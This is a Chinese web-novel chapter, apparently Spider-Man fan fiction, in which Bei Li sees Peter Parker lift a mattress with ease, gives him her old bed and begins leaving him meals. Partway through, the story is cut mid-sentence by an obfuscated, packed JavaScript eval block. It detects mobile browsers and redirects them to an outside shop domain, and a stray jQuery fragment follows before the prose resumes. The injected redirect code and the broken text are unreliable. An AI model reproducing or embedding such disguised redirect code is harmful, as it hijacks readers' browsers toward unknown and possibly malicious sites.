贝莉觉得自己可能已经死了。
床垫没有碾过她的身体，却狠狠碾过她的神经。
她就那么尴尬的卡在楼梯拐角，后背紧贴墙壁，两条腿还保持着一种极其不雅观的弯曲姿势，像一只被拖鞋底逼到墙角的蟑螂。
而那只手，那只从斜上方伸过来、骨节分明的手，还稳稳贴在纸箱侧面与她惊恐起伏的胸口之间，让那个差点把她当蟑螂拍死的巨兽安安稳稳的悬在半空。
世界安静，聆听贝莉破防的声音。
“你……你是怎么做到的。”贝莉呐呐道。
彼得语气里有种不太确定的礼貌，用温柔如水、仿佛在哄小孩子的语气询问道：“你要不要先出来？”
“我、那个、我……”
贝莉从喉咙里挤出几个不连贯的单音节，然后猛地意识到自己还处于危险之中。她赶紧收腹屏息，往旁边蹭了一步，后背擦着墙，姿势半点也不体面的，在彼得·帕克先生的腋下钻了出来。
床垫还悬在半空。
贝莉盯着彼得的脸，发现竟然没有半点勉强坚持的神情，最多就是有点儿“啊，赶上了”的松了口气，完全没有尊重牛顿的自觉。
贝莉质疑道：“彼得，你平时健身？”
“呃……偶尔，跑跑步而已。”彼得指尖很细微的收缩一下，床垫也跟着向上一耸。他立刻意识到，自己表现得太轻松了，于是飞快地换上一副吃力的表情，两条疏狂的眉毛立刻拧在一起。
他的喉咙里发出一声特别刻意的闷哼：“这、这个好重……”
彼得开始用两只手去推那个刚才只用一只手就轻松扶住的床垫。动作笨拙，像是真的动用了全身力气，连额角的筋都鼓了起来。
但贝莉站在下面，看得清清楚楚。
床垫之所以向上，全是依靠他手臂本身的力量。
而彼得·帕克先生拙劣的演技，只是在给这个画面配上音效。
“真辛苦啊。”贝莉表情诚恳的说。
“还、还好。”彼得不得不从牙缝里挤出两个单词。白种人天生易红体质，某种红晕在他白皙的肌肤下面躁动不安，一路从耳尖蔓延至耳根，甚至还有朝着更深处覆盖的意向。
好吧，贝莉也分不清他是憋得，还是臊的。
她没有再说话，只是跟着他慢慢往上走，抱着胳膊，用一种“我就静静看你表演”的狭促眼神追着他的后背。
彼得大概率是感应到了，于是越搬越不自然，中间还假装脚滑了一下，再手忙脚乱地扶住，结果床垫纹丝不动，他却还靠着演员坚定的信念，发出一声让她“小心，快躲开”的警告。
贝莉：“……”
贝莉：“天哪，你太伟大了。”
彼得发出一声辣条音讪笑：“不用，不用，小事情。”
贝莉突然起了戏耍的性质，清了清嗓子参与这场表演：“彼得，我是说，你真的不需要我帮忙吗？我一直在等你请求支援，还是你真的自信，觉得自己能把这玩意儿独自搬上二楼？”
彼得回头迅速看了她一眼，又连忙转过头。
一句小小声的：“damn it（该死）……”
他试图将这个BUG排除在外，顾左右而言他的转移话题，直到将床垫往墙边一靠吗，拍了拍手上的灰：“好了，搬上来了，没有想象中那么重对吧？哈哈……”
一阵由高到低的尬笑。
那个笑又乖巧又心虚，就好像不小心打翻牛奶杯后，试图将犯案现抹匀的小金毛，眼神仿佛在对主人说：“妈妈放过我。”
贝莉看着他，突然失笑，所有准备好的质问在舌尖滚了一圈，最后变成一句：“演技尚可，考虑转行当演员嘛？”
彼得：“……”
贝莉从红温的彼得身侧挤了过去：“走，帮我把旧床搬出来。”
“现在？”彼得眨了眨眼。
“趁我没反悔，赶紧的吧。”贝莉头也不回地推开了房门，“旧床就送给你了，你现在睡得那个铁艺床实在是扰民，稍微一翻身就吱嘎作响，也许你眼下的乌青就是这么来的。”
彼得被这突如其来的馈赠砸蒙了，但犹豫后还是跟了进来。
贝莉和多伦西的房间十分温馨，就是那种区别于单身汉和女孩子的房间布置氛围，拥挤但不繁乱，每个东西都有自己的归属，阳光从窗户招进来，把空气中漂浮的灰尘照成一条缓慢流动的河。
房间里弥漫着一种馨香，名为生趣。
彼得愣神。
这让他想起梅。
贝莉站在那张闲置的旧木床旁边，拍了拍：“这个不软不硬，睡起来刚刚好，就是有点旧了，你别嫌弃。”
“不用，我真的不用。”彼得下意识的摇头，“你现在睡得那张不也是拼起来的吗，你姐姐……”
“我有新的了，还有，不许拒绝我。”
贝莉罕见的展示出强势一面，双手叉腰，像在跟一个冥顽不灵的小孩讲道理：“彼得，你觉得展现出远超常人的臂力之后，就可以反抗你的房东债主了吗？”
“而且，你今天救了我一命。”
“我只是想回报你一些。”
彼得连忙道：“没那么夸张，我不需要回报——”
贝莉打断他，表情忽然认真起来：“但中国有句老话，叫大恩如大仇。”
彼得连忙闭上了嘴巴，他没听过这个，但直觉告诉他这句话接下来会很有分量。
“这句话的意思是，你对我有太大的恩情，我要是不想办法回报，时间久了，我就会开始恨你。”贝莉说的理直气壮，把语言的艺术发挥到极致，“你想想，我每天早上起来，看到你，就会想起我欠你一条命。”
“而你又不让我还，我只能把这份人情债一直背在身上。”
“你知道背债的人会怎么样嘛？”
“会心理扭曲，会睡不着觉。”
“所以为了你，为了我，你最好收下这张床。”贝莉补充，“毕竟今天早上，你已经拒绝过我的早餐包了。”
“还是说你想要让我成为你的仇人？”
彼得和贝莉注视着彼此。
两个人之间隔着一张旧木床。
最终，贝莉的诡辩生效，彼得无奈的笑了，笑意从嘴角缓缓融化，像是终于放弃了对峙抵抗，从肩膀上卸下某种重担。
“你平时都这么劝人收东西的？”他吐槽道。
贝莉拱手：“看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846723|211746||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人下菜碟，对付你这种类型，必须强势。”
彼得追问：“我是什么类型？”
贝莉想也不想：“嘴硬心软，羞于麻烦别人，觉得自己不需要被关心，哪怕付出也不需要回报，放在小说里简直是圣父般的存在。”
彼得：“……”
之后，旧床被拆分，搬去了阁楼。
彼得没有再推辞，只是在混乱的搬家工程后，默默帮贝莉把新床垫拆包，垫上防潮地垫，又把床单的四个角都掖的平平整整。他做的时候很专注，贝莉抱着小杰站在门口，忽然觉得这个画面很适合发生在某个平行世界里……
她赶紧摇了摇头，把这个画面甩出去。
“怎么了？”彼得抬头，见她站在门口发呆。
“没什么，我饿了。”
于是那天中午，贝莉蒸了一锅包子。
她精挑细选了三个最圆滚滚的，再配上一碗熬出米油的小米粥，一起放在餐厅边缘，一张背靠绿植的桌子上。
“彼得，吃饭了！”
她冲着楼上喊了一嗓子，也不管对方有没有听见。
从那天起，绿植旁的桌子就成了彼得的专座。
贝莉并不刻意准备，店里早市剩什么就留什么，有时候是半笼包子，有时候是一碗馄饨，有时候是茶叶蛋配油条，有时候是一碗白粥加一碟她自己腌制的咸菜。
她也不会专门等他。
到了那个时间，东西就摆在那儿，他下来就吃，不下来就这样凉着，最终和其他客人的剩余一起倒进垃圾桶。
贝莉忙得很，没空盯着他看。
但彼得几乎每天都会下来。
刚开始，他还装模作样的路过，到饮水机旁倒水，再“顺便”发现桌上有个盘子，桌台卡牌上标着“P·P”的字样。于是他会“随意”拉开椅子坐下，表演一名正式用餐的客人而不是家人。
直到他发现，贝莉根本没空理他。
于是帕克先生连装都懒得装了，直接坐到老位置，先对柜台后面忙碌的贝莉说一声“早”，然后低头狼吞虎咽。
贝莉从不催促，也不问好不好吃。
只是偶尔借着擦旁边桌子的机会，用余光扫一眼他的餐盘。注意到餐盘干干净净的时候，会让她产生一种很朴素的满足感，就像喂饱了一只不好好吃饭的流浪猫。
有天早上，贝莉得到了流浪猫先生的反馈。
她在桌面上发现一个甜甜圈礼盒，下面压着一张纸条，字迹弯弯扭扭——“换换口味。”
多伦西凑了过来，挑眉道：“看来你被Kitty喵先生反向投喂了啊，善心小姐。”
贝莉推开姐姐：“嘿，你靠的太近了。”
她拆开礼盒包装，拿起甜甜圈咬了一口，嘴上嫌弃的说着：“这种甜腻腻的糖油混合物有什么好吃的……”
多伦西重新黏上来：“那你给我来一口呗，啊——”
“走开啦。”
贝莉注意到礼盒左下方的商标，正是街角那家店，彼得·帕克先生几乎每天都会到访的那家店。
“好吧，出于商业思维。”
“或许是时候去光顾一下，看看那家店到底有什么特殊魅力了？”